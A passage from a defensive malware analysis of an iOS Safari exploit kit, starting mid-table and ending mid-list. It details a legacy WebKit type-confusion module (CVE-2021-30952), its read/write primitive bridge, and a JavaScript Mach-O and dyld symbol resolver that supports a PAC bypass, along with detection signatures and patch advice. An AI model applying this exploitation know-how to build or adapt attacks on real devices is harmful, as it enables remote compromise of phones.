| 201–214 | Initialize variables c, f, l, u, w, b that the trigger callback closes over; build g (a 16-element fingerprint-shape array) and replace t with mapped JSON-parsed shapes carrying the random doubles |
| 202 | Define d, the type-confused trigger function, via new Function(... atob(...) ...). The function body is base64-encoded inline; the decoded body contains a tight loop that performs the JIT-confused store at the heart of the exploit. The base64 literal is opaque payload data; consult the cleaned source for it. |
| 215 | The trigger loop: 1,000,000 iterations alternating two parameter-shape variants of d. The dual-shape alternation drives the JIT to specialize on a polymorphic call site, which is the precondition the bug needs. |
| 216–224 | Post-trigger leak extraction: a single call to d with carefully chosen sentinel values returns a leaked address; the bit-twiddling at lines 217–219 unpacks the encoded fields (Qr, zr, Fr, Lr, Rr) from the result. The sanity checks at 221–222 verify the random session key n and salt h round-tripped correctly — if they didn’t, the bug didn’t fire and the kit bails out cleanly. |
| 224 | Computes the JavaScriptCore image base from the leaked address (E = 65536 * (S.zr - 4)) and stores it in T.Dn.Mn for downstream consumers |
| 225–232 | Sets up the second-stage state for the primitive bridge: corrupts _ (an arbitrary plain object) to live at the leaked slot, then takes its addrof via the same trigger to confirm the corruption is stable |
| 233–248 | Constructs the class P instance, passing four bridge closures that the constructor captures. Each closure encapsulates one direction of the corrupted state’s read/write capability — see the next subsection. |
| 249–267 | The self-test: allocates a fresh JS array t and an ArrayBuffer, exercises B.rr/B.sr against it, and asserts that the values round-trip correctly. If they don’t, throws and aborts. This is the kit’s own assertion that the primitives are working before returning control. |
| 268 | Stores the primitive instance into the global T.Dn.Pn slot for downstream modules |
The four bridge closures (lines 233–248)
The four arguments passed to new P(...) are short closures that wrap the trigger machinery:
- First closure
r => { … }(lines 233–236): given a JS reference, install it into the corrupted slot and calldonce to leak its address. This is the underlying mechanism behindP.ne(addrof). - Second closure
(r, i) => { … }(lines 237–242): given a target addressrand a 32-bit valuei, install crafted Float64 values into the helper object_to redirect thet[S.Fr][S.Lr]access into a write atr, then trigger the type confusion. This is the underlying mechanism behindP.sr(write32). - Third closure
r => { … }(lines 242–247): the read-equivalent of the second closure — install the address, trigger, and read back the resulting value. This is the underlying mechanism behindP.rr(read32). - Fourth closure
() => {}(line 247): a no-op cleanup hook the constructor calls at the end.
The two-step construction (closures + class) is a clean separation: the bug-knowledge stays in the entry function; the user-facing primitive interface stays in class P; and the class can be re-used unchanged across multiple loaders that have different bridge implementations.
Walkthrough: class J typed pointer wrapper (lines 270–369)
After installing the primitive instance, the entry function defines class J — a typed 64-bit pointer wrapper. Methods include:
| Method | Role |
|---|---|
constructor(t, r) | Build from low/high 32-bit pair |
static null(), static si(t), static ei(t,r), static ut(t) | Construction helpers |
static ri(t) | Build from a JS reference (uses P.ne) |
static ii(t) | Build from a typed-array buffer (uses P.Ar) |
static L(t) | Build from a JSC-style tagged value |
ni(), hi(), oi(), wi(), bi() | Conversions back to BigInt / pair / scalar |
ee(), dr(), Yr(), ai(), ci() | Read/write through T.Dn.Pn (the primitive instance) at this address |
add(), sub(), H(), Bt() | Pointer arithmetic with overflow checks (lines 340–355) |
lt(), ui(), le(), fi(), li(), Et() | Comparisons and predicates |
Dt() | Strip high bits (PAC/tag mask) |
toString() | Hex formatting (0xHIGH00000000LOW) |
class J is then exported via T.Dn.Tn = J (line 370) so downstream modules can use it as a typed-pointer abstraction without re-implementing 64-bit arithmetic. The JIT primitives module, the Mach-O parser, and the implant loader all consume T.Dn.Tn to manipulate addresses safely.
The use of an I = new Uint32Array(4) scratch buffer at line 269 for overflow detection (add at line 340 stores low/high words into I[0..3] and checks for borrow/carry) is a portable pattern — it works on any iOS BigInt implementation without depending on internal arithmetic semantics.
Detection relevance: a JavaScript class that defines add, sub, H, Bt, wi, bi, Dt, lt, ui, and le methods — implementing arbitrary-precision pointer arithmetic with overflow detection — is essentially never seen in benign web content. A static rule matching method-name signatures of typed-pointer classes is a useful structural detection.
Walkthrough: the Xr second-stage routine (lines 155–166)
The Xr method on class P is a small post-corruption helper that constructs two arrays via JSON.parse, takes their addresses, then performs a series of crafted writes to copy 16 bytes (for(let t=0;t<16;t+=4)) from one corrupted slot to another. It then writes back PAC-stripped pointer values that incorporate the JavaScriptCore image base (T.Dn.Mn) and a hardcoded constant 703710.
The constant 703710 (= 0xABCDE) is an offset into the JavaScriptCore image — almost certainly the offset of a specific JIT operation table entry the operators use as a stable function-pointer signing oracle. This is the legacy-iOS equivalent of the JIT-cage escape technique used in the iOS 17.x chain, but without the PAC bypass machinery (because pre-A12 devices have no PAC).
Technique background
NaN-boxing type confusion on legacy WebKit
JavaScriptCore’s NaN-boxing scheme (described in detail in 03-ios15-jit-confusion.md § Technique background) packs every 64-bit JS value into a tagged double. The classic exploitation pattern uses two typed-array views — Float64Array and Uint32Array — over the same ArrayBuffer. A value written as a 64-bit float can be read back as two 32-bit integers, exposing the raw bits of any tagged JS value.
Pre-iOS 14, WebKit’s mitigations for this pattern were comparatively weak:
- No structureID randomization in many code paths — the on-disk Structure IDs were predictable enough to spray
- No JIT cage — the executable JIT region was directly addressable from the JS heap, so once an attacker had arbitrary read/write they could overwrite JIT code without separate cage-escape work
- No PAC — function pointers were unsigned, so a forged jump target was directly callable
- GC compaction was less aggressive, so addresses leaked once tended to remain valid through the trigger
CVE-2021-30952 is the bug class this module targets. The Apple advisory describes it as a memory corruption in WebKit processed maliciously crafted web content, leading to arbitrary code execution. The CISA KEV listing reflects active in-the-wild exploitation; the CVE was patched in iOS 15.2.
Why the trigger is so much shorter than iOS 15/17
Compare the size and complexity:
| Module | Lines | Trigger complexity |
|---|---|---|
| iOS 11–13 (this) | 371 | Single 1M-iteration loop, single call site, no version branches |
iOS 15.x (d6cb72f5…) | 395 | 1M-iteration loop + version-gated dual-class harness + 100K-iteration sub-warming loops + dynamic-function cache-defeat |
iOS 17.x (dbfd6e84…) | 1,069 | OfflineAudioContext reclaim, Intl.NumberFormat heap spray, SVG filter UAF, 20-iteration trigger loop with monkey-patched async, version-gated post-corruption setup |
The iOS 11–13 file is about ⅓ the size of the iOS 17 file because legacy WebKit didn’t require:
- A separate reclaim primitive (the legacy bug is a synchronous type confusion, not a UAF)
- Heap spray for shape control (legacy Structure IDs were sparse enough)
- A JIT cage escape (no JIT cage existed yet)
- A PAC bypass (no PAC existed yet)
- A monkey-patched async trigger (the bug didn’t require timing tricks)
Each new mitigation Apple added between iOS 13 and iOS 17 corresponds to a chunk of additional complexity in the kit’s later modules. The 04 module is what an iOS RCE looked like before every modern mitigation; the 02 module is what it looks like after.
The four-closure bridge pattern
The way class P’s constructor takes four closures rather than embedding the trigger directly is a clean separation worth pointing out. It lets the same primitive class be paired with different bug triggers — if the operators wanted to drop a new CVE in, they would only need to change the r.kr entry function (lines 190–268) and leave class P (lines 7–189) untouched.
This is consistent across all three exploit modules in the kit (d6cb72f5…, 8dbfa3fd…, dbfd6e84…): each has a class that exposes the user-facing primitive interface, and each has an entry function that injects bug-specific closures into the class. The primitive classes are almost drop-in interchangeable — they differ only in the offsets they consume from the fingerprint table and in their WASM bytecode definitions, both of which are version-gated.
Why the random session key
The n = e(1,8)<<8 | e(1,8)<<4 | e(1,8)<<0 and h = e(1, 16777215) random values at lines 193 are baked into the helper a(t,r) (lines 193–200), which constructs the specific double bit patterns the type confusion observes. Because the bit patterns are partially randomized per-load, no fixed-string signature can match the trigger payload — the operators rotate the bit-pattern-encoding with Math.random()-derived values per Safari session.
The post-trigger sanity checks at lines 221–222 (if(S.Qr !== n) and if(S.Rr !== h)) verify that the leaked value carries the same n/h it was written with. This is both an integrity check (catching cases where the bug didn’t fire correctly) and a defense against a defender feeding the kit a pre-recorded crafted value to make it bail out incorrectly.
Detection signatures
Signatures that catch this module independent of identifier renaming:
- Two
WebAssembly.Instanceconstructions from the sameWebAssembly.Module, followed by a 22-iteration tier-up loop calling every export. new Function(... atob(...) ...)where the base64 decodes to a tight loop containing JIT-targeted assignments — the encoding of the trigger callback inside anatobliteral is structural and not removed by re-obfuscation.- A 1,000,000-iteration trigger loop where each iteration alternates two parameter-shape variants of the same callback.
- Bit-twiddling extraction
>>20&4095,>>16&15,&65535,>>24&255,&16777215of a leaked floating-point value — this exact mask pattern is the kit’s encoding of (page-base, structure-id, array-index, byte-index, session-key) into a single double. - A class declaring
add,sub,H,Bt,wi,bi,Dt,lt,ui,lemethods — the typed pointer wrapper interface. - The literal
703710(0xABCDE) appearing as an offset constant in a class that also referencesWebAssembly.Instance— this is the JIT operation table offset the post-corruption setup uses as a function-pointer signing oracle. - Network signature: the on-server filename
9e7e6ec78463c5e6bdee39e9f3f33d6fa296ea72.jsis a strong IoC. See 08-iocs.md.
Cross-references
- 01-jit-primitives.md — the primitive layer that consumes
class P - 03-ios15-jit-confusion.md — the iOS 15.x sibling using the same overall pattern with version-gated dual classes
- 02-ios17-svg-uaf.md — the modern iOS 17.x chain with all the additional mitigation-bypass machinery
- 04-fingerprinting.md — the
YGPUu7flag that selects this module - 06-cve-mapping.md — CVE metadata
- 10-references.md — Samuel Groß’s JITSploitation series and Project Zero JSC writeups for the conceptual treatment
Defensive notes
- iOS 15.2 or later patches CVE-2021-30952. Any iPhone that has received any iOS update in the last four years is immune.
- The targeted devices (iPhone 6, 6s, SE 1st gen) are no longer supported by Apple at all. Users in this position should not be browsing the web on these devices; the only safe configuration is to use them in offline mode for legacy app compatibility only.
- Disabling JavaScript in Safari is the only equivalent of Lockdown Mode available on iOS 13. It breaks the modern web but reliably stops this module.
- Detection signatures in the previous section are high-fidelity for content-inspection proxies — the bit-mask extraction pattern in particular is essentially unique to this kit.
- Network signature: the on-server filename
9e7e6ec78463c5e6bdee39e9f3f33d6fa296ea72.jsis a strong IoC. - The fact that fqMaGkNL omits this module entirely is operationally interesting: it suggests fqMaGkNL is targeted at a different victim demographic (newer iPhones, presumably wealthier targets in the cryptocurrency demographic). Detecting which variant a victim was targeted with is itself a useful forensic signal.
Mach-O Parser and dyld Symbol Resolver
Hashes:
- lysNguv:
81502427ce4522c788a753600b04c8c9e13ac82c— standalone module (399 lines) - fqMaGkNL: bundled inside
d11d34e4d96a4c0539e441d861c5783db8a1c6e9.js(1069 lines, alongside other helpers — the parser classes occupy roughly the second half of the file)
iOS target: All supported versions
Role in chain: Post-exploit tooling — given arbitrary memory read/write, walks Mach-O binaries and the dyld shared cache in memory to resolve native function addresses. In both variants, the implant loader reaches the parser through a method on its environment-config module: T.ce() in lysNguv and P.cr() in fqMaGkNL. Neither variant inlines parser code into the implant loader itself.
Source files:
analysis/exploits/lysnguv/clean/81502427ce4522c788a753600b04c8c9e13ac82c.js(399 lines)analysis/exploits/fqmagknl/clean/d11d34e4d96a4c0539e441d861c5783db8a1c6e9.js(1069 lines — the parser is one of several classes; the samett/rt/et/ntfour-layer hierarchy is recognizable around the second half of the file)
A note on depth
This page walks the captured code at structural and interface depth — what each function does, where to look, and how the pieces compose into a working dlsym reimplementation. The conceptual treatment of Mach-O internals and the dyld shared cache is in the Technique background section.
Defensive context
- This module is not an exploit. It is post-exploit tooling that runs after a WebKit vulnerability has produced arbitrary memory read/write primitives. Patching any of the underlying WebKit CVEs (see 02-ios17-svg-uaf.md, 03-ios15-jit-confusion.md, 04-ios11-13-legacy.md) blocks this module from ever running.
- No native CVE applies to this module itself. It is a JavaScript reimplementation of parts of the dynamic linker (dyld). The capabilities it provides — Mach-O parsing, symbol-trie walking, dyld shared cache image enumeration — are documented Apple internals; the kit just consumes them via a corrupted memory primitive instead of normal memory access.
- Lockdown Mode disables JIT in Safari and blocks the WebKit exploits that feed into this module, neutralizing it indirectly.
- The packaging of this module differs between variants: lysNguv ships the parser as its own separately-fetched module (
81502427…); fqMaGkNL bundles the equivalent parser classes inside the larger helper moduled11d34e4…alongside other code. The implant loader in both variants reaches the parser indirectly via a method on its env-config module (T.ce()/P.cr()) — the parser is never inlined into the loader file itself. This packaging asymmetry is an operational fingerprint useful for variant attribution.
File structure at a glance
The 399-line cleaned file is organized into four classes plus a top-level helper function:
| Lines | Region | Role |
|---|---|---|
| 1–9 | Module preamble | Imports of K (math/value helpers), T (config table with the global primitive instance T.Dn.Pn), Z = M.Tn (the typed pointer wrapper from 04-ios11-13-legacy.md) |
| 10–71 | Function Y(t, r) | Parse a Mach-O header at address t and return a populated tt instance describing it. Acts as the constructor for everything downstream. |
| 72–74 | Module exports | r.ie (parse the global primary image at T.Dn.pn), r.Xs (the raw Y for re-use) |
| 75–135 | class tt | ”Parsed Mach-O” — owns the load-command list and the symbol-trie raw bytes; exposes ao(t) for trie lookup |
| 136–161 | class rt | ”Image-with-typed-pointers” wrapper — exposes fo/wo/mo/Eo symbol lookups returning typed pointers |
| 162–328 | class et | ”Image-with-raw-addresses” wrapper — exposes the same lookups returning raw 64-bit addresses, plus segment-section accessors and pattern-search helpers |
| 329–397 | class nt | ”Dyld shared cache” — given the cache base address, enumerate the images inside it and resolve symbols across all of them |
| 398–399 | return r; | Module export |
The four classes form a layered hierarchy:
ttis the primitive parsed-image — knows the load commands and the symbol-trie bytes, can resolve a symbol name to its offset (not address)rtwraps attto return typed pointers (the typed pointer wrapperK.Vt/Z)etwraps attto return raw 64-bit integers and adds segment introspection, scanning helpers, and predicate methods for “is this address inside this segment?”ntwraps the dyld shared cache header — given the cache base, walks the image table and lazily buildsetinstances for each image as needed
The two wrapper classes (rt and et) exist because some downstream consumers want typed-pointer arithmetic and others want raw integers; rather than convert at every call site, the kit provides both interfaces. The implant loader (164349160d…) uses primarily et because its native-symbol-resolution code passes resolved addresses directly to function-pointer slots.
Walkthrough: Y(t, r) Mach-O parser (lines 10–71)
Y is the workhorse. Given an address t (a typed pointer to a Mach-O header) and a flag r (whether to parse section-level details inside __AUTH_CONST), it walks the load command list and returns a populated tt instance.
The function structure:
- Lines 11–13 — header read.
e.le(t.H(16))reads the load-command count from the Mach-O header. (t.H(16)is “addresstplus 16 bytes” — see the typed-pointer arithmetic inclass Jat04-ios11-13-legacy.md:340-355.) The variables = t.H(32)advances past the 32-byte 64-bit Mach-O header to the first load command. - Lines 14–51 — the load-command dispatch loop. Iterates
nload commands; for each one, reads the 4-byte command type and the 4-byte command size, then dispatches on the type with aswitch. - Lines 52–63 — dyld-shared-cache fallback. If the parsed image is incomplete (
!o && !m), the function tries to recover by walking backwards page-by-page from a discovered__auth_gotentry until it finds the dyld shared cache magic4277009103(0xFEEDFACF). This handles the case where the operators landed on a stub image inside the shared cache and need to find the actual cache base. - Lines 64–67 — segment address fixup. After parsing, walks the discovered segments and adds the discovered slide
ito eachXe(vmaddr) field, converting on-disk vmaddrs into in-memory addresses. - Lines 68–70 — return. Constructs and returns a
ttinstance with the parsed metadata.
The load-command switch (lines 16–49)
The switch dispatches on Mach-O load command numbers:
| Case | Constant | Mach-O command | Action |
|---|---|---|---|
| 15 | LC_UUID | UUID stamp | Sets m=true to mark that the image has a UUID |
| 50 | LC_BUILD_VERSION | Build platform/version | If r is set and the platform is iOS (1), captures the SDK version into g |
| 25 | LC_SEGMENT_64 | Segment definition | Reads segment metadata, dispatches on segment name (see next subsection) |
| 2147483682 | LC_DYLD_CHAINED_FIXUPS (0x80000022) | Chained fixups | Captures fixups data offset/size into c/a |
| 2147483699 | LC_DYLD_EXPORTS_TRIE (0x80000033) | Exports trie | Captures exports trie offset/size into c/a |
The handlers for LC_DYLD_CHAINED_FIXUPS and LC_DYLD_EXPORTS_TRIE both set h=true (the “has-trie” flag) and store the offset/size into the same c/a slots — the parser handles both formats interchangeably and resolves which one is in use based on whether the trie bytes start with the chained-fixups magic header.
The LC_SEGMENT_64 handler (lines 21–45)
For each segment, the parser builds a JS object n capturing the segment name (Re), file offset (Xe), virtual address (Es/Os), virtual size (Ge), file size (zs), max/init protection ($s/qs), section count (Ms), flags, and the address of the section table (Ds). When r is set (full parse), the handler also walks the Ms sections inside the segment and captures their per-section metadata into n.Ls keyed on section name.
After capturing, the handler dispatches on segment name:
__TEXT: the main code segment. Capturesl = t.sub(n.Ge)as the candidate Mach-O base (because__TEXT.vmaddris conventionally 0 for position-independent images), andi = t.sub(n.Xe)as the slide (the offset between the on-disk file and the in-memory image).__LINKEDIT: the dynamic-linker data segment. Capturesu = n.Xe + i - n.Geas the address whereLINKEDITdata lives in memory. The exports trie and symbol table both live inside__LINKEDIT, so subsequent symbol lookups index off this address.__AUTH_CONST: the PAC-signed const segment present on arm64e. Whenris set, the handler captures the section named__auth_gotand stores its in-memory address intod. The__auth_gotsection holds PAC-signed pointers to dynamically resolved symbols — the kit uses one of these as a known-good signed pointer to anchor PAC bypass logic in the implant loader.
Detection relevance: the segment-name string literals __TEXT, __LINKEDIT, __AUTH_CONST, __auth_got together with LC_SEGMENT_64 numeric constants (25), LC_DYLD_CHAINED_FIXUPS (0x80000022), and LC_DYLD_EXPORTS_TRIE (0x80000033) appearing in JavaScript source is a near-perfect signature for in-process Mach-O parsing — there is essentially no benign reason for a webpage to know these constants.
Walkthrough: class tt and the symbol trie walker (lines 75–135)
class tt owns the parsed Mach-O state. Its key method is ao(t) (lines 89–134), which resolves a symbol name like "_dlsym" to its offset within the image.
Lazy trie loading (lines 90–95)
The first call to ao lazily reads the entire exports trie from process memory into a Uint8Array. The trie’s size is oo (the size captured from LC_DYLD_EXPORTS_TRIE), and the loop reads it 4 bytes at a time using the global primitive T.Dn.Pn.le. The result is cached in this.co so subsequent lookups don’t re-read.
The 4-byte read granularity matches the typical word-size of the underlying primitive — reading byte-at-a-time would require ~4× as many primitive invocations and risk hitting WebKit’s internal allocator boundaries.
Trie traversal (lines 96–134)
The trie traversal implements the Mach-O exports trie format documented in Apple’s dyld source. Each node has:
- A variable-length-encoded terminal-info size (LEB128, decoded by the
do { i += (127 & r[n]) << o; o += 7 } while (128 & r[n++])pattern at lines 100–104) - If the size is non-zero and the current accumulated string
ematches the targett, the next LEB128 is the symbol offset within the image (lines 105–113) - Otherwise, after skipping the terminal-info, a 1-byte child count, followed by
child_countentries each consisting of a NUL-terminated edge string + a LEB128 child offset
The ao traversal at lines 117–131 walks the children, matches edges against the target string t.substr(e.length, …), and recurses into the matching child by jumping the cursor n to the child offset. When no edge matches, the loop exits via s becoming true and returns 0 (symbol not found).
This is essentially a re-implementation of dyld_find_in_trie in 50 lines of JavaScript, consuming the corrupted-memory primitive in place of normal memory reads.
Detection relevance: the LEB128 decode pattern (127 & r[n]) << o, o += 7 followed by 128 & r[n++] in a do/while loop is the canonical encoding for variable-length integers in Mach-O / DWARF / WASM. Combined with NUL-terminated string accumulation in a tree traversal, this is a signature for in-JS dynamic-linker reimplementation.
Walkthrough: class rt typed-pointer image wrapper (lines 136–161)
rt is a thin facade over tt that converts symbol offsets to typed pointers (K.Vt instances). Its three methods:
fo(t)(lines 140–143): “find optional” — returns a typed pointer to the symbol or a null pointer if the symbol is not in the image.wo(t)(lines 144–148): “must find” — returns a typed pointer or throws if the symbol is missing.mo(t)(lines 149–151): boolean — does this symbol exist?Eo(...t)(lines 152–160): variadic try-each — given a list of candidate names, returns the first one that resolves. Used for symbols whose mangled C++ name varies between builds.
The leading underscore prefix on the symbol name ("_" + t) reflects Mach-O’s convention of prefixing C symbol names with underscore — dlsym in C source is _dlsym in the symbol table.
Walkthrough: class et raw-address image wrapper (lines 162–328)
et is the larger and more capable wrapper. Same lookup interface as rt but returns raw 64-bit integers (BigInts) computed as this._o + offset, where _o is the in-memory base address of the image (this.uo.Hs.Gs.yt()). This is the form the implant loader actually uses to populate function-pointer slots.
The class also exposes:
| Method | Lines | Role |
|---|---|---|
fo, wo, mo, Eo | 166–186 | Symbol lookups (raw address variants) |
po, vo | 187–196 | Convert internal segment/section descriptor objects to JSON-friendly raw-address forms |
So(name) | 197–200 | Find a segment by name |
xo(seg, sec) | 201–220 | Find a section by name within a segment, lazily populating the segment’s section cache on first access |
Io(seg, sec) | 221–233 | Same as xo but without lazy caching — used when only one section lookup is needed |
To(seg) | 234–238 | Find a segment by name and throw if missing |
yo() | 239–241 | Get the dyld shared cache wrapper (nt) — lazily constructed |
ko(name) | 242–245 | Symbol lookup returning a K.Vt typed pointer (mixes the two interfaces) |
Oo(addr) | 246–249 | Convert a runtime address into a __TEXT-relative file offset (the inverse of symbol resolution) |
zo(name) | 250–253 | Read a 64-bit value from the address of a symbol — used for resolving symbols whose value is itself a pointer (GOT entries) |
Po(name, default) | 254–257 | Read a single byte at a symbol’s address with a default for missing symbols |
Uo(seg, value) | 258–266 | Scan a segment for an 8-byte value and return its address |
Ao(seg, addr) | 267–272 | Predicate: is this address inside this segment? |
$o(seg, sec, addr) | 273–278 | Same predicate at section granularity |
qo(addr) | 279–282 | Predicate: is this address inside any segment of the image? |
Ro(seg, target) | 283–288 | Scan a segment for a 64-bit address value and return the matching slot |
Co(seg, target) | 289–294 | Same as Ro but returns the matching value as a typed pointer |
Mo(seg_a, seg_b, callback) | 295–304 | Walk segment b looking for slots whose value points into segment a; invoke callback for matches |
Do(seg, callback) | 305–312 | Walk a segment by 4-byte words, invoke callback for each |
Lo(seg, callback) | 313–320 | Walk a segment by 8-byte words, invoke callback for each |
Bo(addr) | 321–327 | Find which segment contains a given address |
The pattern-scanning helpers (Uo, Ro, Co, Mo, Do, Lo) are the kit’s substitute for hardcoded offsets — when a needed address can’t be resolved by symbol name, the operators fall back to scanning a segment for a known value that points to the target. The implant loader uses these to locate JIT-internal structures (like _ZN3JSC16jitOperationListE) that don’t have stable offsets across iOS builds.
Detection relevance: a JavaScript class providing a complete Mach-O segment/section iteration API with pattern-scanning predicates is an extremely high-fidelity indicator of in-process binary parsing. The string literals "__TEXT", "__text", "__LINKEDIT", "__AUTH_CONST", "__auth_got" together with offset arithmetic against memory is essentially never seen in benign content.
Walkthrough: class nt dyld shared cache wrapper (lines 329–397)
nt is the dyld shared cache navigator. Constructed with (textBase, cacheBase), it parses the cache header to enumerate all the images packaged inside it.
Magic verification (lines 334–339)
Fo(){ return T.Dn.Pn.dr(this.Vo) }
Ho(){ return "dyld_v1 arm64e" === this.Fo() }
Fo reads the magic string at the cache base (16 bytes, NUL-terminated). Ho checks for the exact string "dyld_v1 arm64e" (note the two spaces — that’s the actual on-disk format of the dyld shared cache magic). Any other magic causes the constructor to throw, preventing the parser from running on unexpected memory layouts.
Image enumeration (lines 343–355)
jo() reads the image-array offset and count from the cache header at offsets +24/+28. If those slots are zero (older cache format), it falls back to reading +448/+452 (newer cache format) — the dyld team has restructured the header layout multiple times across iOS releases, and this kit handles both. The fallback path also sets this.Xo=true to remember which header layout was in use.
For each image, the function reads a 32-byte image entry containing the image’s address (relative to the cache base) and its path string offset. The result is an array of {address, path} objects describing every dylib in the cache.
Per-image lookups (lines 360–397)
The remaining methods compose tt/et over individual cache images:
Yo(t)(lines 373–376): partial-string match on a path; returns the address of the first matching imageQo(t)(lines 377–384): given an exact path, lazily build anetwrapper for that image and cache it inthis.Zo[t]th(t)(lines 385–389): “must find” variant ofQothat throws on missingJo(path, sym)(lines 361–363): resolve a symbol within a specific dylib by pathWo(sym)(lines 364–372): resolve a symbol across all dylibs in the cache, returning the first matchrh(...paths)(lines 390–397): try-each helper across multiple paths
The Wo cross-image search is the heaviest operation — it iterates every image in the cache, building an et wrapper for each one until a match is found. The implant loader uses it sparingly, preferring th(path).wo(sym) for known-location symbols.
Technique background
Mach-O on-disk format
Mach-O is the executable format used by all Apple platforms (macOS, iOS, watchOS, tvOS). Every file starts with a 32-byte 64-bit header (magic 0xFEEDFACF, CPU type, CPU subtype, file type, load command count, load command total size, flags, reserved). Following the header is a sequence of load commands, each of which is an instruction to the dynamic linker on how to set up the process.
Load commands are tagged unions: each starts with a 4-byte command type and a 4-byte command size, followed by command-specific data. The relevant commands for this module are:
LC_SEGMENT_64(25): defines a contiguous virtual-memory segment with a name, file offset, file size, vm address, vm size, max/init protection, and section count. Each section inside the segment has its own 80-byte descriptor with name, vm address, and so on.LC_DYLD_EXPORTS_TRIE(0x80000033): points to a compressed prefix-trie encoding of the image’s exported symbols and their offsets. The trie format is documented in Apple’s open-sourcedyldcodebase.LC_DYLD_CHAINED_FIXUPS(0x80000022): an alternative format used in newer SDKs where rebases and binds are encoded as in-line pointer chains instead of separate tables. Coexists with the exports trie format depending on SDK version.LC_BUILD_VERSION(50): declares the platform (iOS / macOS / watchOS / tvOS) and minimum SDK version. Used here as a sanity check that the parsed image actually targets iOS.LC_UUID(15): a 16-byte uniqueness stamp the kit uses as a presence flag.
The __TEXT, __LINKEDIT, __DATA, __DATA_CONST, __AUTH_CONST segment names are conventional but stable across Apple platforms. The __auth_got section inside __AUTH_CONST holds PAC-signed pointers — its presence in the parser indicates the kit is built to handle arm64e (PAC-enabled) targets.
For the canonical reference, see Apple’s open-source cctools and dyld repositories. The <mach-o/loader.h> header in the SDK defines every load command type with documentation.
The dyld shared cache
iOS apps don’t link against system libraries individually. Instead, every system library is pre-linked into a single large file — the dyld shared cache — which is mapped into every process at startup. This is a substantial performance and memory-footprint optimization (libraries don’t need re-linking per process and shared pages are CoW across all processes), and it changes how a memory-disclosure attacker reaches a function pointer.
The on-disk shared cache format starts with a dyld_cache_header whose magic field reads exactly dyld_v1 arm64e\0 (16 bytes, including the trailing NUL and the two spaces between v1 and the architecture name). The header layout has been revised multiple times — the offsets +24/+28 (image array offset/count) and +448/+452 (newer layout) the parser uses correspond to the V1 and V2 layouts respectively.
Inside the cache, each image is represented by a dyld_cache_image_info entry containing the image’s load address (within the shared cache mapping), modification time, inode, and path-string offset. Walking the image array gives the full list of dylibs in the process.
For the conceptual treatment, see the dyld source code on GitHub (apple-oss-distributions/dyld) and Aria Beingessner’s writeups on dyld’s data structures. The Coruna kit’s implementation is a faithful re-implementation of the parts of dyld that resolve symbols from the cache.
Why a JavaScript reimplementation rather than calling dyld directly
A natural question: once the kit has arbitrary read/write, why doesn’t it just call dlsym directly via the corrupted state?
The answer is the chicken-and-egg problem: to call any native function from a corrupted JavaScript context, the kit needs a valid function-pointer slot to redirect into the call. To get that slot, it needs to know an address — and the only reliable starting addresses are the JavaScriptCore image base (leaked by the WebKit exploit) and the WebAssembly.Table anchor (also leaked there). To get from those to dlsym, the kit must walk Mach-O metadata in memory, which is exactly what this module does.
Once the parser has resolved dlsym, the implant loader bootstraps everything else from dlsym — every other symbol is looked up via a normal dlsym(handle, name) call from injected native code. The Mach-O parser is therefore only needed for the first symbol; after that, dyld does the work.
The exports trie format
The Mach-O exports trie is a compressed prefix tree where each node represents an accumulated string prefix and each edge appends additional characters. To resolve a symbol like "_dlsym":
- Start at the trie root (offset 0 in the trie data) with accumulated string
"". - Read the current node’s terminal-info size (LEB128). If non-zero and the accumulated string equals
"_dlsym", the next LEB128 is the symbol’s offset within the image — return it. - Read the child count (1 byte).
- For each child, read the edge string (NUL-terminated) and the child node offset (LEB128). If the edge string is a prefix of the remaining target name (
"_dlsym".substr(accumulated.length)), append the edge to the accumulated string, jump the cursor to the child offset, and recurse. - If no child matches, the symbol is not present in this image.
The trie format’s advantage over a flat symbol table is that storage scales with the number of distinct prefix branches, not the total number of symbols. For an image with 10,000 symbols sharing a few hundred prefixes, the trie can be a fraction of the size of a flat table.
The Coruna trie walker at lines 96–134 is a faithful implementation of this format. The LEB128 decode loop is identical to the dyld source code’s read_uleb128 helper, just transliterated to JavaScript and consuming bytes from a Uint8Array instead of a memory pointer.
__auth_got and PAC
On arm64e (A12 chips and later), the iOS kernel and dynamic linker use Pointer Authentication Codes to prevent forged function pointers. Every function pointer stored to memory is signed with a PAC tag derived from a per-process secret key and the address where the pointer is stored; reading and dereferencing the pointer requires verifying the tag.
The __AUTH_CONST segment is the PAC-signed equivalent of __DATA_CONST — read-only data containing pointers, but with the additional constraint that those pointers must be PAC-signed. The __auth_got section inside it is the PAC-signed Global Offset Table: each slot holds a signed pointer to a dynamically resolved external symbol. Once dyld has resolved the symbol, it writes the PAC-signed pointer into the slot, and subsequent indirect calls through the GOT verify the signature.
The Coruna parser captures the address of __auth_got (line 41) so the implant loader can read a known-good signed pointer from it. That signed pointer is the seed for the implant loader’s PAC bypass: by reading a signed pointer that the kernel verifies as valid, the kit obtains a “blessed” reference it can use to bootstrap into native code without forging signatures from scratch. The exact technique is discussed further in 06-implant-loader.md, specifically in the “Gadget #1: a known PAC-signed function pointer” subsection of the PAC-aware resolution block.
Why packaging differs between the two variants
The lysNguv variant ships the Mach-O parser as its own dedicated module (81502427…, 399 lines) fetched over the network. The fqMaGkNL variant bundles the equivalent parser classes inside a larger helper module (d11d34e4…, 1069 lines) that also contains other post-exploit utilities. Crucially, the implant loader file itself does not contain parser code in either variant — both loaders call into the parser through a method on their respective environment-config module (T.ce() in lysNguv, P.cr() in fqMaGkNL), and that method returns a parser instance built from whichever module the env layer pulled it out of.
The reason for the packaging difference is presumably operational: bundling helper code together means fewer network requests visible to telemetry products and fewer hash-able per-file artifacts. The capabilities are identical between the two variants; only the file boundary differs.
A defender comparing the two variants can confirm this by:
- Searching the implant loader files (
164349160…jsand7f809f3208…js) for__TEXT,LC_SEGMENT_64, or any of the load-command numeric constants — neither contains them. - Searching
d11d34e4…jsfor the same strings — this is where the parser classes live in fqMaGkNL. - Comparing the inner-class hierarchy in
d11d34e4…js(lines roughly 644 onward) against the four-class layout (tt/rt/et/nt) in lysNguv’s standalone parser — the structure is recognizably the same.
Detection signatures
Signatures that catch this module independent of identifier renaming:
- The string literals
"__TEXT","__LINKEDIT","__AUTH_CONST","__auth_got"appearing in JavaScript source — these segment/section names are essentially never present in benign content. - The string literal
"dyld_v1 arm64e"(with two spaces) in JavaScript source — this is the on-disk dyld shared cache magic, almost certainly an exploitation kit fingerprint. - The numeric constants
